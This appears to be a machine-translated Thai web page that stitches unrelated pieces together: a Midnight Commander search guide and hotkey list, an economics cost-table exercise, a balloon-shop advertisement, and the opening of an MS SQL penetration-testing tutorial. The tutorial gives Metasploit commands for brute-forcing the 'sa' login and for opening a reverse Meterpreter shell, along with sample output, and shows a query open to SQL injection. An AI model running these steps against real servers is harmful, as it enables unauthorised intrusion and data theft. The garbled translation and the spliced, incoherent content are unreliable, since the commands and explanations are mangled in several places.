วิธีการและเครื่องมือสำหรับการเจาะฐานข้อมูล MS SQL ลูกโป่งจาก "MF Poisk"

เมื่อพร้อมใช้ ผลิตภัณฑ์ซอฟต์แวร์, ตัวอย่างเช่น ซ.ม จูมล่าบ่อยครั้งที่คุณต้องจัดการกับข้อเท็จจริงที่ว่าข้อความแสดงข้อผิดพลาดหรือคำเตือนปรากฏขึ้นในผลลัพธ์ของโปรแกรม แต่ไม่ใช่ รายละเอียดข้อมูลรหัสชิ้นนี้ตั้งอยู่ที่ใด ในกรณีเหล่านี้ วิธีที่ง่ายที่สุดคือใช้การค้นหาไฟล์ใน ผู้บัญชาการเที่ยงคืนโดยบรรทัด มาดูวิธีทำกัน

โดยปกติจะทราบตำแหน่งโดยประมาณของไฟล์ที่มีรหัสส่วนย่อยที่จำเป็น ดังนั้นก่อนอื่นไปที่ไดเร็กทอรีที่สามารถวางไฟล์นี้ได้

ใน เมนูบริบทในสนาม" เริ่มต้นที่:» ( จากแค็ตตาล็อก ) ออกจากประเด็น: เราอยู่ในไดเร็กทอรีที่ต้องการซึ่งมีไฟล์ที่เรากำลังมองหาอยู่แล้ว แต่โดยการเลือกตัวเลือก รี" ( ต้นไม้) คุณสามารถเลือกไดเร็กทอรีอื่นเพื่อค้นหา

ฟิลด์บริบท "Ena ละเว้นไดเรกทอรี" ( และละเว้นไดเรกทอรี) สามารถเว้นว่างไว้ได้หากคุณไม่ต้องการแยกไดเร็กทอรีที่รู้จักออกจากการค้นหาเพื่อจำกัดการค้นหาให้แคบลง

ในสนาม " ชื่อไฟล์» ( เทมเพลตชื่อ ) คุณต้องป้อนชื่อไฟล์หรือรูปแบบชื่อไฟล์ เทมเพลตใช้ ? สำหรับตัวละครใด ๆ หรือ * สำหรับอักขระใดๆ จำนวนเท่าใดก็ได้ หากเราไม่ทราบอะไรเกี่ยวกับชื่อหรือนามสกุลไฟล์ โปรดป้อน *.* .

เลือกตัวเลือก:

  • « ind เรียกซ้ำ" ( ค้นหาอีกครั้ง ถึงอย่างรวดเร็ว)
  • « ยูร้องเพลงแบบเปลือกหอย" ( meta character ของเชลล์)
  • "แคส อีอ่อนไหว" ( ที่กรณีด้วยซ้ำ)
  • « ll charsets" ( ในการเข้ารหัสทั้งหมด)
  • "ส เค ip ซ่อน" ( ข้าม scr คุณคืออี)

ในสนาม " เนื้อหา» ( เนื้อหา ) เราเข้าสู่บรรทัดที่ Midnight Commander จะต้องค้นหาในไฟล์ทั้งหมดที่พบ

เลือกตัวเลือก:

  • ทะเล ch สำหรับเนื้อหา" ( ค้นหาตามเนื้อหา และอิมู) ← ตัวเลือกนี้จำเป็นสำหรับการค้นหาด้วยสตริง
  • "อีกครั้ง นิพจน์ ular" ( นิพจน์ทั่วไป)
  • กรณีความรู้สึก ฉันประสงค์" ( การบัญชีสำหรับเร อิสตรา)
  • "อ lcharsets" ( ดวงอาทิตย์ อีการเข้ารหัส)
  • « คำรู" ( กับจับทั้งหมด)
  • “เฟอร์ ตี" ( ก่อนเป็นอันดับแรก เอ็กซ์เสื้อผ้า)

เราเริ่มการค้นหา " ค" ( ไกลออกไป) หยุดด้วย " แอนเซล" ( พี หยุดพัก).

หลังจากที่โปรแกรมรันไฟล์ทั้งหมดแล้ว โปรแกรมจะแสดงเป็นรายการไดเร็กทอรีที่มีไฟล์ที่ตรงกัน + ไฟล์ที่มีหมายเลขบรรทัดซึ่งตรงกับวลีค้นหา

โดยทั่วไปแล้ว โปรแกรมที่มีประโยชน์มากเมื่อค้นหาสิ่งที่คุณรู้ แต่ไม่รู้ว่าจะค้นหาจากที่ใด :)

ตารางแสดงการพึ่งพาต้นทุนรวมขององค์กรต่อผลผลิต คำนวณต้นทุน: คงที่, ผันแปร, รวมเฉลี่ย, เฉลี่ยคงที่, เฉลี่ยผันแปร ในตาราง กรอกคอลัมน์ FC, VC, MC, ATC, AFC, AVC:

ค่าใช้จ่ายทั้งหมด TC หน้าเอฟซีวี.ซีอสมเอ.ที.ซีเอวีซีเอเอฟซี
0 60
1 130
2 180
3 230
4 300

สารละลาย:

ต้นทุนคงที่ ( ต้นทุนคงที่) เป็นต้นทุนที่ไม่ได้ขึ้นอยู่กับปริมาณของผลิตภัณฑ์หรือบริการที่ผลิต ไม่ว่าบริษัทจะผลิตสินค้ามากเพียงใด มูลค่าของต้นทุนคงที่จะไม่เปลี่ยนแปลง แม้ว่าบริษัทจะไม่ได้ผลิตผลผลิตแม้แต่หน่วยเดียว แต่ก็มีต้นทุนเกิดขึ้น เช่น อาจเป็นค่าเช่าห้อง จ่ายค่าทำความร้อน จ่ายเป็นเงินกู้ เป็นต้น

ดังนั้น FC สำหรับปริมาณเอาต์พุตใด ๆ จะเท่ากับ 60 รูเบิล

ต้นทุนผันแปร ( ต้นทุนผันแปร) คือต้นทุนที่เปลี่ยนแปลงตามการเปลี่ยนแปลงของปริมาณผลิตภัณฑ์หรือบริการ เมื่อรวมกับต้นทุนคงที่แล้วจะเท่ากับมูลค่าของต้นทุนทั้งหมด ( ค่าใช้จ่ายทั้งหมด):

TC=เอฟซี+วีซี

จากที่นี่:

VC = TC - เอฟซี

VC(0) = 60 - 60 = 0,

VC(1) = 130 - 60 = 70,

VC(2) = 180 - 60 = 120,

VC(3) = 230 - 60 = 170,

VC(4) = 300 - 60 = 240.

ต้นทุนส่วนเพิ่ม ( ต้นทุนส่วนเพิ่ม) คือต้นทุนที่เพิ่มขึ้นที่เกี่ยวข้องกับการปล่อยหน่วยเอาต์พุตเพิ่มเติม

MC = ∆TC / ∆Q

เนื่องจากในปัญหานี้การเพิ่มขึ้นของเอาต์พุตจะเท่ากับ 1 เสมอ เราจึงสามารถเขียนสูตรใหม่ได้ดังนี้

MC = ∆TC / 1 = ∆TC

MC(1) = TC(1) - TC(0) = 130 - 60 = 70,

MC(2) = TC(2) - TC(1) = 180 - 130 = 50,

MC(3) = TC(3) - TC(2) = 230 - 180 = 50,

MC(4) = TC(4) - TC(3) = 300 - 230 = 70

ต้นทุนรวมเฉลี่ย ( ต้นทุนรวมเฉลี่ย) คือต้นทุนการผลิตหนึ่งหน่วยของผลผลิต

ATC=TC/คิว

ATC(1) = TC(1) / 1 = 130/1 = 130,

ATC(2) = TC(2) / 2 = 180 / 2 = 90,

ATC(3) = TC(3) / 3 = 230/3 = 76.67,

ATC(4) = TC(4) / 4 = 300 / 4 = 75.

ต้นทุนคงที่เฉลี่ย ( ต้นทุนคงที่เฉลี่ย) คือต้นทุนคงที่ต่อหน่วยของผลผลิต

เอเอฟซี=เอฟซี/คิว

เอเอฟซี(1) = เอฟซี(1) / 1 = 60/1 = 60,

เอเอฟซี(2) = เอฟซี(2) / 2 = 60/2 = 30,

เอเอฟซี(3) = เอฟซี(3) / 3 = 60/3 = 20,

เอเอฟซี(4) = เอฟซี(4) / 4 = 60/4 =15.

ต้นทุนผันแปรเฉลี่ย ( ต้นทุนผันแปรเฉลี่ย) คือต้นทุนผันแปรของการผลิตหนึ่งหน่วยของผลผลิต

AVC=VC/คิว

AVC(1) = VC(1) / 1 = 70/1 = 70,

AVC(2) = VC(2) / 2 = 120/2 = 60,

AVC(3) = VC(3) / 3 = 170/3 = 56.67,

AVC(4) = VC(4) / 4 = 240/4 =60.

เมื่อทราบ ATC และ AFC แล้ว ต้นทุนผันแปรเฉลี่ยยังสามารถพบความแตกต่างระหว่างต้นทุนรวมเฉลี่ยและต้นทุนคงที่เฉลี่ย:

AVC=ATC-เอเอฟซี

เติมช่องว่างในตาราง:

ฉบับต่อหน่วยเวลา, Q, ชิ้นค่าใช้จ่ายทั้งหมด TC หน้าเอฟซีวี.ซีอสมเอ.ที.ซีเอวีซีเอเอฟซี
0 60 60 0 - - - -
1 130 60 70 70 130 70 60
2 180 60 120 50 90 60 30
3 230 60 170 50 76,67 56,67 20
4 300 60 240 70 75 60 15

ทั่วไป

Ctrl+x,j - แสดงงานเบื้องหลัง

Ctrl-X+A - VFS ปัจจุบัน (ftp ฯลฯ)

ESC+หลัก - เหมือนกับ F(หลัก) (ESC+5 = F5)

F1-F12

F3 - ดูไฟล์

F3 - (ระหว่างแก้ไข) เริ่มการเลือกข้อความ การกด F3 อีกครั้งจะเป็นการสิ้นสุดการเลือก

F4 - แก้ไขไฟล์

F5 - คัดลอกการเลือก

F6 - ย้ายส่วนที่เลือก

F8 - ลบการเลือก

Shift+F1 - เรียกใช้เมนูเปลี่ยนด่วนระหว่างจุดเชื่อมต่อบนแผงด้านซ้าย

Shift+F2 - เรียกใช้เมนูเปลี่ยนด่วนระหว่างจุดเชื่อมต่อบนแผงด้านขวา

Shift+F5 - คัดลอกไฟล์ไปยังไดเร็กทอรีเดียวกัน

Shift+F6 - ย้าย/เปลี่ยนชื่อไฟล์ไปยังไดเร็กทอรีเดียวกัน

ค้นหา

ctrl-s- ค้นหาอย่างรวดเร็วไฟล์หรือไดเรกทอรี

alt-shift-? - เมนูค้นหาไฟล์ขั้นสูงเรียกว่า

บรรทัดคำสั่ง

ctrl-a - เคอร์เซอร์ไปที่จุดเริ่มต้น

ctrl-e - เคอร์เซอร์ไปที่จุดสิ้นสุด

esc-! - รันคำสั่งด้วยพารามิเตอร์

ctrl-x, p หรือ alt+a - วางชื่อไดเร็กทอรี

esc ป้อน; ctrl-enter - ส่งวัตถุปัจจุบันไปที่ บรรทัดคำสั่ง

ctrl-x,t - วางวัตถุที่เลือกทั้งหมดในบรรทัดคำสั่ง

esc, แท็บ - เสร็จสิ้นคำสั่ง

alt-a - วางไดเร็กทอรีปัจจุบันในบรรทัดคำสั่ง

Alt-TAB (ESC+TAB) - ชุดค่าผสมที่ยอดเยี่ยมที่สุดสำหรับการค้นหาไฟล์ที่ดาวน์โหลดได้ (เช่น คุณลืมวิธีสะกดคำว่า netcfg หรือ netconfig เพียงพิมพ์ net ในบรรทัดคำสั่งแล้วกด Alt-TAB คุณจะเห็นสิ่งที่คุณสามารถทำได้ทันที run ซึ่งขึ้นต้นด้วยคำว่า net) กดสองครั้ง!
alt-shift-! - ผลลัพธ์คำสั่งออก
ctrl-shift-v - วางจากคลิปบอร์ด

การดำเนินการกับไฟล์

Shift+F4 - สร้างไฟล์ใหม่

shift-f6 - เปลี่ยนชื่อไฟล์

ctrl+x,ผม มุมมองด่วนข้อมูลเกี่ยวกับวัตถุปัจจุบันในแผงที่สอง

Ctrl+x,q - ดูเนื้อหาของไฟล์อย่างรวดเร็วในแผงที่สอง

alt-. - แสดงไฟล์ที่ซ่อนอยู่

ctrl-x, c - การอนุญาตไฟล์

ctrl-x, o - เจ้าของไฟล์

Shift-F3 - ดูไฟล์ (ดิบ/โดยไม่คำนึงถึงนามสกุล)

Ctrl + x v - สร้างลิงค์สัญลักษณ์สัมพัทธ์

trl+x,Ctrl+s - แก้ไขลิงก์สัญลักษณ์

ctrl-t - ทำเครื่องหมายหรือยกเลิกการทำเครื่องหมายไฟล์

+ - เลือก (ทำเครื่องหมาย) กลุ่มของไฟล์ตามนิพจน์ทั่วไป

\ - ยกเลิกการเลือกกลุ่มของไฟล์

ctrl-x, ctrl-d - เปรียบเทียบไฟล์

ctrl-t หรือ แทรก - เลือกวัตถุปัจจุบัน

การทำงานกับไดเร็กทอรี

alt-o - เปิดไดเรกทอรีใต้เคอร์เซอร์ในแผงที่อยู่ติดกัน

alt-i - เปิดไดเรกทอรีปัจจุบันในแผงที่อยู่ติดกัน

trl-\ - แสดง "ไดเรกทอรีไดเรกทอรี"

alt-shift-h - แสดงประวัติไดเร็กทอรี

Ctrl+l - วาดหน้าจอใหม่

Ctrl+Space - แสดงขนาดของไดเร็กทอรีปัจจุบัน

Ctrl-X+D - เปรียบเทียบไดเร็กทอรี

ESC+C - เปลี่ยนไดเร็กทอรีอย่างรวดเร็ว

alt-c - หน้าต่าง "ไดเร็กทอรีการเปลี่ยนแปลงด่วน"

การทำงานกับพาเนล

Ctrl-O - ปิดพาเนลและดูว่ามีอะไรอยู่ข้างใต้ (ใช้ได้เฉพาะใน linux เท่านั้น!) ที่นี่คุณสามารถทำงานในเชลล์ได้

alt-, — โหมดการแสดงผลแผงสวิตช์ (แนวตั้ง/แนวนอน)

alt-t สลับโหมดการแสดงแผงรายละเอียด

Meta + c - เรียกว่าเมนูสำหรับเปลี่ยนไดเร็กทอรีปัจจุบันอย่างรวดเร็วบนแผงที่ใช้งานอยู่

ctrl-u - สลับแผง

alt-g - ทำเครื่องหมายไฟล์หรือไดเร็กทอรีแรกในรายการที่แสดงบนแผงควบคุม (โดยพื้นฐานแล้วเหมือนกับปุ่มโฮม ยกเคอร์เซอร์ขึ้น)

alt-e - เปลี่ยนการเข้ารหัสแผง

Ctrl + x i - วางแผงพาสซีฟในโหมด "ข้อมูล"

Ctrl + x q - ทำให้พาเนลแบบพาสซีฟอยู่ในโหมดดูด่วน

ctrl x ! - เมนู → "เกณฑ์การแบ่งกลุ่ม" (git)

เรื่องราว

alt+h; esc, h - ประวัติบรรทัดคำสั่ง

alt-p, alt-n - ส่งคืนบรรทัดคำสั่งก่อนหน้า (ถัดไป)

alt-y. ย้ายไปยังไดเร็กทอรีก่อนหน้าจากประวัติการนำทางไดเร็กทอรี เทียบเท่ากับการคลิกที่สัญลักษณ์ ‘<‘ в верхнем углу панели.

alt-u. ย้ายไปยังไดเร็กทอรีถัดไปจากประวัติการนำทางไดเร็กทอรี เทียบเท่ากับการคลิกสัญลักษณ์ '>' ด้วยเมาส์

บรรณาธิการ

F4 (ในตัวแก้ไข) - ค้นหาและแทนที่

F6 (ในตัวแก้ไข) - ค้นหาโดยใช้นิพจน์ทั่วไป

Shift-Del (ในตัวแก้ไข) - ลบบล็อก (และวางไว้ในคลิปบอร์ด)

Shift-Ins (ในเครื่องมือแก้ไข) - วางบล็อกจากคลิปบอร์ด (ใช้งานได้แม้ในคอนโซลอื่น!!!) คุณสามารถแก้ไขไฟล์สองไฟล์ขึ้นไปบนคอนโซลต่างๆ และย้ายบล็อกไปมาระหว่างกันได้

Shift+F3 - เริ่มเลือกบล็อกข้อความ การกด F3 อีกครั้งจะเป็นการสิ้นสุดการเลือก

Shift+F5 - วางข้อความจากคลิปบอร์ดภายในของ mc (อ่านไฟล์ภายนอก)

Meta + i - สลับโหมด "Carriage return auto-alignment" ซึ่งมีประโยชน์เมื่อวางข้อความที่จัดรูปแบบจากคลิปบอร์ด

Meta+l - ข้ามไปที่บรรทัดตามหมายเลขบรรทัด

Meta + q - ใส่ตัวอักษร (อักขระที่ไม่สามารถพิมพ์ได้) ตารางด้านล่าง

Meta+t - จัดเรียงบรรทัดของข้อความที่เลือก

Meta+u - ดำเนินการคำสั่งภายนอกและวางผลลัพธ์ที่ตำแหน่งใต้เคอร์เซอร์

Ctrl + f - นำส่วนที่เลือกไปยังคลิปบอร์ดภายใน mc (เขียนไปยังไฟล์ภายนอก)

Ctrl+k - ลบส่วนหนึ่งของบรรทัดจนถึงจุดสิ้นสุดของบรรทัด

Ctrl+n - สร้างไฟล์ใหม่

Ctrl+s - เปิดหรือปิดการเน้นไวยากรณ์

Ctrl+t - เลือกการเข้ารหัสข้อความ

Ctrl+u - เลิกทำการกระทำ

Ctrl+x - ไปที่จุดสิ้นสุดของหน้าถัดไป

Ctrl+y - ลบบรรทัด

Ctrl+z - ไปที่จุดเริ่มต้นของคำก่อนหน้า

Meta+Enter - ไดอะล็อกสำหรับการข้ามไปยังคำจำกัดความของฟังก์ชัน

Meta+- — ย้อนกลับหลังจากกระโดดไปที่นิยามของฟังก์ชัน

Meta++ - ข้ามไปยังคำจำกัดความของฟังก์ชัน

Meta+n - เปิด/ปิดการแสดงหมายเลขบรรทัด

แท็บ ย้ายข้อความที่เลือกไปทางขวาหากปิดใช้งานตัวเลือก Persistent Blocks

Meta-tab ย้ายข้อความที่เลือกไปทางซ้ายหากตัวเลือก Persistent Blocks ถูกปิดใช้งาน

Shift+ลูกศร เลือกข้อความ

Meta+ลูกศร เลือกช่องแนวตั้ง

Meta + Shift + - สลับโหมดการแสดงผลของแท็บและช่องว่าง

Meta+Shift++ การสลับโหมด "การขึ้นบรรทัดใหม่อัตโนมัติ"

การจัดวันหยุดเป็นงานที่ยาก มีหลายสิ่งหลายอย่างที่ต้องคิดและดูแล บริษัท MF Poisk ทำให้หนึ่งในงานนั้นง่ายขึ้น - การตกแต่ง เราได้รวบรวม แคตตาล็อกสินค้าสำหรับวันหยุดซึ่งมีหลายวิธีในการออกแบบตกแต่งสถานที่และสิ่งเล็ก ๆ น้อย ๆ ที่เป็นประโยชน์สำหรับการจัดงานเฉลิมฉลอง

แคตตาล็อกสินค้าสำหรับวันหยุด: รวบรวมรายการช้อปปิ้ง

แค็ตตาล็อก MF Search สามารถเรียกได้ว่าเป็นรายการช้อปปิ้งสำเร็จรูป มีโครงสร้างที่สะดวกและมีรายละเอียด คุณสามารถซื้อจากเรา:

  • อุปกรณ์จัดงานแต่งงาน. ริบบิ้น ลูกปา กุญแจ ของตกแต่งห้องโถงและรถยนต์ และอื่น ๆ อีกมากมาย
  • ทุกอย่างสำหรับงานรื่นเริง ในส่วนนี้ คุณจะพบเครื่องประดับที่จำเป็นสำหรับปาร์ตี้คอสตูม งานรื่นเริงปีใหม่ ฮาโลวีน ธีมวันเกิด ฯลฯ
  • เครื่องใช้บนโต๊ะอาหารแบบใช้แล้วทิ้ง โต๊ะไม่ได้ตั้งด้วยเครื่องลายครามและเซรามิกเสมอไป ตัวอย่างเช่นสำหรับการเสิร์ฟโต๊ะสำหรับเด็กหรือเพื่อฉลองวันเกิดในสำนักงานการใช้จานและถ้วยกระดาษจะสะดวกกว่า
  • ของเล่นปาร์ตี้และฟองสบู่ เพื่อให้เด็ก ๆ ไม่เบื่อในวันหยุดคุณต้องดูแลเวลาว่างล่วงหน้า สกอร์เท่าไหร่! เราได้รวบรวมของกระจุกกระจิกที่จำเป็นทั้งหมดแล้ว คุณเพียงแค่ต้องหามันมาใช้
  • Flappers และ sparklers พวกเขาจะทำให้วันหยุดสดใสและน่าจดจำ
  • เทียน ตกแต่งเค้ก, ใช้เวลายามเย็นแสนโรแมนติก, ทำเซอร์ไพรส์ - มีชุดเทียนสำหรับแต่ละโอกาส

ลูกโป่งจาก "MF Poisk"

MF Poisk เป็นผู้จัดหาลูกโป่งรายใหญ่ที่สุด เราร่วมมือกับผู้ผลิตจากสหรัฐอเมริกา สเปน เม็กซิโก เรามอบใบรับรองคุณภาพและจัดเตรียมลูกโป่งที่สมบูรณ์แบบที่สุด เพื่อให้คุณสามารถสร้างองค์ประกอบเฉพาะของคุณเองสำหรับแต่ละงาน ลูกโป่งทั้งหมดในแคตตาล็อกของเราสามารถแบ่งออกเป็นลาเท็กซ์และฟอยล์

  • น้ำยาง สามารถเลือกได้ตามสี ขนาด รูปร่าง ธีม เราจำหน่ายลูกโป่งทั้งแบบมีและไม่มีลวดลาย และมีบริการ รับทำโลโก้ นอกจากตัวเลือกแบบคลาสสิกแล้ว เรายังเสนอตัวเลือกที่ไม่ธรรมดาอีกด้วย เช่น ลูกชก ลูกเชื่อม ลูกลอน และสำหรับการสร้างแบบจำลอง
  • กระดาษฟอยล์. มีให้เลือกมากมาย: เดิน, ใหญ่, มินิ, ในรูปแบบของตัวเลข เพื่อความสะดวกในการเลือก เราได้จัดเรียงสินค้าตามหัวเรื่อง คุณสามารถไปที่หมวดสินค้าสำหรับงานแต่งงาน วันเกิด ปีใหม่ และโอกาสพิเศษอื่น ๆ ได้อย่างง่ายดาย

เราวางอุปกรณ์เสริมสำหรับลูกบอลแยกกัน เช่น ไม้หรือตุ้มน้ำหนัก นักออกแบบจะสนใจในส่วนที่มีอุปกรณ์ - ถังฮีเลียม, ปั๊ม, หมึกสำหรับพิมพ์

ทำไมต้องเลือก MF Search?

  • แคตตาล็อกลูกบอลที่ใหญ่ที่สุด
  • ใบรับรองคุณภาพสาธารณะ
  • จำนวนการสั่งซื้อขั้นต่ำมีให้สำหรับผู้ซื้อแต่ละราย โดยไม่คำนึงถึงขอบเขตของเหตุการณ์
  • อุปกรณ์วันหยุดทั้งหมดในที่เดียว
  • ส่วนลดสำหรับการขายส่งขนาดใหญ่

เราพยายามทำให้การเข้าพักของคุณบนไซต์สะดวกสบาย ดังนั้นเราจึงสร้าง แยกส่วนพร้อมสินค้าใหม่ สินค้าขายดี และประกาศ "Coming Soon" กับเราคุณจะมั่นใจได้ว่าการจัดวันหยุดเป็นเรื่องง่าย!

แทบไม่มีการทดสอบแบบจริงจังใดที่จะเสร็จสมบูรณ์โดยไม่ตรวจสอบ DBMS เนื่องจากเป็นหนึ่งในประตูที่ได้รับความนิยมมากที่สุดสำหรับผู้โจมตีในการเข้าถึงข้อมูลและเครื่องที่ต้องการ ในโครงการขนาดใหญ่ MS มักใช้เป็น DBMS เซิร์ฟเวอร์ SQL. และวันนี้เราจะพูดถึงการตรวจสอบความปลอดภัย เราจะไม่เปิดอเมริกา - สหายที่มีประสบการณ์จะฟื้นฟูความรู้ของพวกเขาเท่านั้น แต่สำหรับผู้ที่เพิ่งเริ่มเป็นผู้เชี่ยวชาญในหัวข้อนี้ ฉันพยายามแยกย่อยทุกอย่างให้ละเอียดที่สุด

คำเตือน!

ข้อมูลทั้งหมดจัดทำขึ้นเพื่อจุดประสงค์ในการให้ข้อมูลเท่านั้น ทั้งผู้เขียนและบรรณาธิการไม่ต้องรับผิดชอบต่ออันตรายใดๆ ที่อาจเกิดขึ้นจากเนื้อหาของบทความนี้

การแนะนำ

หนึ่งในเกณฑ์ความน่าเชื่อถือที่สำคัญที่สุด ระบบข้อมูล- ความปลอดภัย DBMS การโจมตีโดยตรงในกรณีส่วนใหญ่มีความสำคัญ เนื่องจากสามารถขัดขวางการทำงานของระบบได้บางส่วนหรือทั้งหมด เนื่องจากองค์กรขนาดใหญ่สร้างโครงสร้างพื้นฐานเมื่อนานมาแล้ว และการอัปเดตซอฟต์แวร์เวอร์ชันใหม่ทำให้เกิดปัญหา “ใหญ่” สำหรับพวกเขา เวอร์ชันที่พบบ่อยที่สุดยังคงเป็น MS SQL Server 2005 และ MS SQL Server 2008 แต่นี่เป็นเพียงสถิติเท่านั้น และต่อไปเราจะ พิจารณาเวกเตอร์และเทคนิคทั่วไปในทุกเวอร์ชัน เพื่อความสะดวก เราจะแบ่งกระบวนการเพนเทสต์ทั้งหมดตามเงื่อนไขออกเป็นหลายขั้นตอน

วิธีค้นหา MS SQL

สิ่งแรกที่ผู้ทดสอบเริ่มทำคือการรวบรวมข้อมูลเกี่ยวกับบริการที่อยู่บนเซิร์ฟเวอร์ของเหยื่อ สิ่งที่สำคัญที่สุดที่ต้องทราบเมื่อค้นหา Microsoft SQL Server คือหมายเลขพอร์ตที่รับฟัง และเขาฟังพอร์ต 1433 (TCP) และ 1434 (UDP) หากต้องการตรวจสอบว่ามี MS SQL บนเซิร์ฟเวอร์ของเหยื่อหรือไม่ คุณต้องสแกน ในการทำเช่นนี้ คุณสามารถใช้ Nmap กับสคริปต์ ms-sql-info การสแกนจะเริ่มดังนี้:

nmap -p 1433 --script=ms-sql-info 192.168.18.128

ผลลัพธ์ของการดำเนินการแสดงในรูปที่ 1.

นอกจาก Nmap แล้ว ยังมีโมดูลการสแกนที่ยอดเยี่ยมสำหรับ Metasploit mssql_ping ซึ่งช่วยให้คุณสามารถกำหนดสถานะของ MS SQL บนเซิร์ฟเวอร์ที่ถูกโจมตีได้:

Msf> ใช้ auxilary/scanner/mssql/mssql_ping msf auxilary(mssql_ping) > set RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf auxilary(mssql_ping) > เรียกใช้

เมื่อใช้หนึ่งในตัวเลือกเหล่านี้ คุณสามารถระบุได้อย่างรวดเร็วว่าติดตั้ง MS SQL บนเซิร์ฟเวอร์หรือไม่ รวมทั้งค้นหาเวอร์ชันของมันด้วย หลังจากนั้น คุณสามารถไปยังขั้นตอนต่อไปได้


กำลังดุร้าย

สมมติว่าเราพบ DBMS บนเซิร์ฟเวอร์ ตอนนี้งานคือการเข้าถึง และที่นี่เราพบกับอุปสรรคแรกในรูปแบบของการรับรองความถูกต้อง โดยทั่วไปแล้ว MS SQL รองรับการรับรองความถูกต้องสองประเภท:

  1. การรับรองความถูกต้องของ Windows - การเชื่อมต่อที่เชื่อถือได้ซึ่ง SQL Server ยอมรับบัญชีผู้ใช้โดยถือว่าได้รับการรับรองความถูกต้องแล้วที่ ระบบปฏิบัติการ.
  2. โหมดผสม - การรับรองความถูกต้องโดยใช้ SQL Server + Windows Authentication

ตามค่าเริ่มต้น จะใช้โหมดการรับรองความถูกต้องครั้งแรก และโหมดผสมจะเปิดใช้งานแยกกัน ในทางปฏิบัติค่อนข้างยากที่จะพบฐานที่ไม่มีโหมดผสม - มีความยืดหยุ่นมากกว่า

ประโยชน์บางประการของโหมดผสม

  • อนุญาตให้ SQL Server รองรับแอปพลิเคชันรุ่นเก่า รวมถึงแอปพลิเคชันของบริษัทอื่นที่ต้องการการรับรองความถูกต้องของ SQL Server
  • อนุญาตให้ SQL Server รองรับสภาพแวดล้อมหลายระบบปฏิบัติการที่ผู้ใช้ไม่ได้รับรองความถูกต้องกับโดเมน Windows
  • ช่วยให้นักพัฒนา ซอฟต์แวร์แจกจ่ายแอปพลิเคชันของคุณผ่านลำดับชั้นการอนุญาตที่ซับซ้อนตามข้อมูลเข้าสู่ระบบ SQL Server ที่สร้างไว้ล่วงหน้าและเป็นที่รู้จัก

มักจะเปิด ขั้นตอนนี้เราไม่สามารถเข้าถึงเครือข่ายขององค์กรได้ ดังนั้นเราจึงไม่สามารถใช้การรับรองความถูกต้องของ Windows ได้ แต่เราพบว่า เปิดพอร์ตด้วย MS SQL ซึ่งหมายความว่าเรากำลังพยายามแฮ็คบัญชี sa admin ซึ่งเป็นมาตรฐานสำหรับโหมดผสม ในการทำให้กระบวนการเป็นไปโดยอัตโนมัติ เราใช้โมดูล Metasploit mssql_login:

Msf > ใช้ตัวช่วย/สแกนเนอร์/mssql/mssql_login msf auxiliary(mssql_login) > set RHOSTS 172.16.2.104 RHOSTS => 172.16.2.104 msf auxiliary(mssql_login) > set PASS_FILE /root/Desktop/pass.txt [*] 172.104.2:2.104.2 1433 - MSSQL - กำลังเริ่มสแกนการตรวจสอบสิทธิ์ [*] 172.16.2.104:1433 - การเข้าสู่ระบบล้มเหลว: WORKSTATION\sa:admin (ไม่ถูกต้อง:) [*] 172.16.2.104:1433 - การเข้าสู่ระบบล้มเหลว: WORKSTATION\sa:qwerty (ไม่ถูกต้อง:) [*] 172.16.2.104:1433 - การเข้าสู่ระบบล้มเหลว: WORKSTATION\sa:toor (ไม่ถูกต้อง:) [+] 172.16.2.104:1433 - การเข้าสู่ระบบสำเร็จ: WORKSTATION\sa:root [*] สแกน 1 จาก 1 โฮสต์ (สมบูรณ์ 100%) [*] การดำเนินการโมดูลเสริมเสร็จสมบูรณ์

ยอดเยี่ยม! พบรหัสผ่าน ตอนนี้เราสามารถดำเนินการขั้นตอนต่อไปได้ แต่ถ้าไม่มีบัญชี sa บนเซิร์ฟเวอร์ล่ะ จากนั้นคุณจะต้องเข้าสู่ระบบด้วยเดรัจฉานซึ่งจำเป็นต้องบอกสคริปต์อีกไฟล์หนึ่งว่าจะหาได้จากที่ใด:

Msf เสริม (mssql_login) > ตั้งค่า USER_FILE /root/Desktop/user.txt

รับเปลือก

หากเราจัดการกับบัญชี sa ได้เราสามารถเข้าสู่ฐานข้อมูลได้ นอกจากนี้ สคริปต์ยังเรียบง่าย - เรารวมขั้นตอนที่เก็บไว้ซึ่งช่วยให้เราดำเนินการคำสั่งในระดับระบบปฏิบัติการ และอัปโหลดเปลือก Meterpreter ไปยังเซิร์ฟเวอร์ พวกเจ๋ง ๆ เขียนโมดูล mssql_payload ที่ยอดเยี่ยมสำหรับ Metasploit ที่ทำให้กระบวนการนี้เป็นไปโดยอัตโนมัติ:

Msf > ใช้ช่องโหว่/หน้าต่าง/mssql/mssql_payload msf เอาเปรียบ(mssql_payload) > ตั้งค่า RHOST 172.16.2.104 msf เอาเปรียบ(mssql_payload) > ตั้ง USERNAME sa USERNAME => sa msf เอาเปรียบ(mssql_payload) > ตั้งรหัสผ่าน root PASSWORD => root msf ช่องโหว่( mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp ) [*] Meterpreter เซสชัน 1 เปิด (172.16.2.105:4444 -> 172.16.2.104:3987) เมื่อ 2015-02-20 10:42: 52 -0500 เมตรล่าม >

สร้างเซสชัน Meterpreter แล้ว ตอนนี้คุณมี การเข้าถึงแบบเต็ม. คุณสามารถทิ้งแฮชของผู้ดูแลระบบ ถ่ายภาพหน้าจอ สร้าง/ลบไฟล์ เปิด/ปิดเมาส์หรือแป้นพิมพ์ และอื่นๆ อีกมากมาย บางทีนี่อาจเป็นกระสุนยอดนิยมที่ใช้ในการทดสอบการเจาะเกราะ รายการทั้งหมดสามารถแอบดูคำสั่งของ Meterpreter ได้

จะทำอย่างไรถ้าชื่อผู้ใช้/รหัสผ่านไม่แตก?

แต่อย่ายกยอตัวเองโมดูล mssql_login มักจะไม่ทำให้คุณพอใจ: ผู้ดูแลระบบไม่ค่อยทิ้งรหัสผ่านเริ่มต้น ในกรณีนี้ การฉีด SQL จะช่วยให้เราได้เชลล์ ลองนึกภาพรูปแบบ HTML ที่ผู้ใช้ป้อนหมายเลขบทความและแบบสอบถามฐานข้อมูลที่มีช่องโหว่ ทั้งหมดนี้ทำงานภายใต้บัญชีผู้ดูแลระบบ sa:

$strSQL = "เลือก * จาก . ที่ id=$id";

